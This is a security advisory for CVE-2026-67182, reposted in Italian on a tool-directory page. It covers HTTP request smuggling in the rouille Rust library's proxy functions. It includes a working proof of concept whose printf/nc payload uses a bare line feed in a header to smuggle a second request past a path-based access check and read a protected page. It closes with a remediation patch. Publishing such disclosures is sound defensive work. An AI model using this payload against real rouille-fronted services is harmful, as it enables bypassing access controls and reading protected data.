Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille- — Avviso di sicurezza: HTTP Request Smuggling consente il bypass dei controlli di accesso del front-end (rouille) | Kitploit
Strumenti/GitHubGitHub/theopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubtheopaid/cve-2026-67182-http-request-smuggling-enables-front-end-access-control-bypass-rouille-

CVE-2026-67182-HTTP-Request-Smuggling-Enables-Front-End-Access-Control-Bypass-rouille-

Avviso di sicurezza: HTTP Request Smuggling consente il bypass dei controlli di accesso del front-end (rouille)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
23 giorni faNon ancora revisionato

Avviso di sicurezza: HTTP Request Smuggling consente il bypass del controllo di accesso del front-end (rouille)

CVE ID assegnato: CVE-2026-67182

Riepilogo

rouille::proxy::proxy e rouille::proxy::full_proxy copiano i valori delle intestazioni di richiesta forniti dal client nella connessione upstream senza verificarne i caratteri di controllo. Un valore di intestazione può legittimamente contenere un LF isolato (0x0A), perché il parser di intestazioni sottostante di tiny_http termina una riga di intestazione solo su CRLF. I backend che accettano un LF isolato come terminatore di riga leggono quindi una richiesta del front-end come se fossero due.

La seconda richiesta è interamente controllata dall'attaccante, inclusi metodo e percorso, e non passa mai attraverso il gestore rouille che ha deciso di fare da proxy per la prima. Anche il corpo della sua risposta viene restituito all'attaccante.

Versioni interessate

URL del repository: https://github.com/tomaka/rouille

Prima versione interessata0.3.3 (2016-12-03), la release che ha introdotto src/proxy.rs
Ultima versione interessata3.6.2 (2023-04-24), la release attuale
Non interessata0.3.2 e precedenti, che non hanno alcun modulo proxy
Corretta innessuna versione corretta al momento della scrittura

Ogni release pubblicata da 0.3.3 a 3.6.2 contiene il codice non modificato. Il file src/proxy.rs è identico byte per byte tra il tag 3.6.2 e il ramo master attuale.

Solo le applicazioni che chiamano proxy::proxy o proxy::full_proxy sono interessate.

Gravità

CWE-444 (Interpretazione incoerente delle richieste HTTP), raggiunta tramite CWE-113 (Neutralizzazione impropria delle sequenze CRLF nelle intestazioni HTTP).

Punteggio base CVSS 4.0: 6.9 (Medio) CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N

Modello di minaccia

L'attaccante è un client remoto non autenticato che può inviare HTTP grezzo a un server rouille. Non sono richiesti credenziali, interazione con l'utente o una posizione nella rete tra i componenti.

La configurazione a rischio è un'applicazione rouille che funge da proxy inverso e prende una decisione di sicurezza (routing, autenticazione, autorizzazione o filtro dei contenuti) prima di chiamare proxy(), davanti a un backend il cui parser HTTP accetta un LF isolato come terminatore di riga delle intestazioni.

Comportamento misurato dei backend:

nginx e Apache non sono stati testati. La sezione 2.2 della RFC 9112 consente a un ricevente di riconoscere un LF isolato come terminatore di riga, quindi i backend che lo accettano si comportano nel rispetto delle specifiche.

Causa principale

rouille/src/proxy.rs, righe da 157 a 174:

root@kitploit:~
157      for (header, value) in request.headers() {
158          let value = if header == "Host" {
159              if let Some(ref replace) = config.replace_host {
160                  &**replace
161              } else {
162                  value
163              }
164          } else {
165              value
166          };
167          if header == "Connection" {
168              continue;
169          }
170  
171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172      }
173      socket.write_all(b"Connection: close\r\n\r\n")?;
174      io::copy(&mut data, &mut socket)?;

La riga 171 è il sink. value non è attendibile e viene scritta senza alcuna validazione.

La taint entra tramite tiny_http. In tiny_http-0.12.0/src/client.rs, righe da 80 a 102, una riga di intestazione termina solo quando un LF segue un CR:

root@kitploit:~
 92              if byte == b'\n' && prev_byte_was_cr {
 93                  buf.pop(); // removing the '\r'
 94                  return AsciiString::from_ascii(buf)
 95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
 96              }
 97  
 98              prev_byte_was_cr = byte == b'\r';
 99  
100              buf.push(byte);

Un LF isolato arriva fino alla riga 100 e viene inserito nel buffer di riga. LF è ASCII valido, quindi AsciiString::from_ascii lo accetta. Header::from_str, in tiny_http-0.12.0/src/common.rs alla riga 184, si limita poi a fare trim del valore, che rimuove gli spazi iniziali e finali ma lascia intatti i byte interni:

root@kitploit:~
187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188          let value = elems
189              .next()
190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191              .ok_or(())?;

Il risultato è un valore di intestazione rouille contenente un \n grezzo, che la riga 171 di proxy.rs scrive direttamente nella richiesta upstream.

Connection: close alla riga 173 non contiene il danno. La riga vuota iniettata termina la prima richiesta prima che la riga 173 venga eseguita, quindi tale intestazione viene assorbita nella richiesta contrabbandata. La prima richiesta non porta alcuna intestazione Connection e rientra nel default keep-alive di HTTP/1.1, che è esattamente ciò che consente al backend di proseguire ed elaborare la seconda.

Proof of Concept

Passo 1. Crea una directory root dei documenti del backend con un file pubblico e un file che il proxy dovrebbe proteggere.

root@kitploit:~
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html

Passo 2. Avvia un backend keep-alive sulla porta 8001.

root@kitploit:~
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
    protocol_version = "HTTP/1.1"
    def log_message(self, f, *a):
        sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'

Passo 3. Avvia il front-end rouille sulla porta 8000. Fa da proxy per /public/ e rifiuta tutto il resto.

root@kitploit:~
use rouille::{proxy, Response};

fn main() {
    rouille::start_server("127.0.0.1:8000", |request| {
        if !request.url().starts_with("/public/") {
            return Response::text("forbidden").with_status_code(403);
        }
        proxy::full_proxy(request, proxy::ProxyConfig {
            addr: "127.0.0.1:8001", replace_host: None,
        }).unwrap()
    });
}

Passo 4. Conferma che il controllo di accesso funzioni.

root@kitploit:~
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
root@kitploit:~
HTTP/1.1 403 Forbidden

Passo 5. Invia una singola richiesta per il percorso consentito con un LF isolato all'interno di un valore di intestazione. Nel comando seguente \n è un avanzamento di riga isolato e \r\n è una CRLF. La differenza è l'intero attacco, quindi non lasciare che un editor la normalizzi.

root@kitploit:~
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000

Risultato. Il log del backend mostra due richieste, la seconda delle quali è il percorso che il front-end ha rifiutato nel passo 4:

root@kitploit:~
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -

L'attaccante riceve anche il contenuto protetto, perché la riga 224 di src/proxy.rs trasforma il resto della socket upstream nel corpo della risposta:

root@kitploit:~
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked

d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18

SECRET ADMIN PAGE

Impatto

Un client non autenticato può inviare una richiesta arbitraria al backend e leggerne la risposta, mentre il gestore rouille vede solo la richiesta consentita. Questo vanifica il controllo di accesso basato sul percorso, l'autenticazione eseguita nel gestore e qualsiasi ispezione della richiesta effettuata prima della chiamata a proxy().

Due limiti vanno segnalati. proxy() apre una nuova connessione TCP per ogni richiesta e non usa il connection pooling, quindi questa vulnerabilità non consente l'avvelenamento della coda di richieste tra utenti associato allo smuggling classico. L'attacco richiede inoltre un backend che tolleri LF, come misurato sopra.

Rimedio

Rifiuta nomi e valori di intestazione che contengono caratteri di controllo prima di scriverli upstream. In src/proxy.rs, all'interno del ciclo alla riga 157:

root@kitploit:~
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
    || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
    return Err(ProxyError::HttpParseError);
}
Scarica lo strumento
BackendVersione testataAccetta l'LF iniettato
Go net/httpgo1.26.4sì, serve la richiesta contrabbandata
Python http.server (protocol_version = "HTTP/1.1")CPython 3.13sì, serve la richiesta contrabbandata
Node.jsv26.3.0no, restituisce 400 (modalità strict di llhttp)
PHP built-in server8.5.8no, chiude la connessione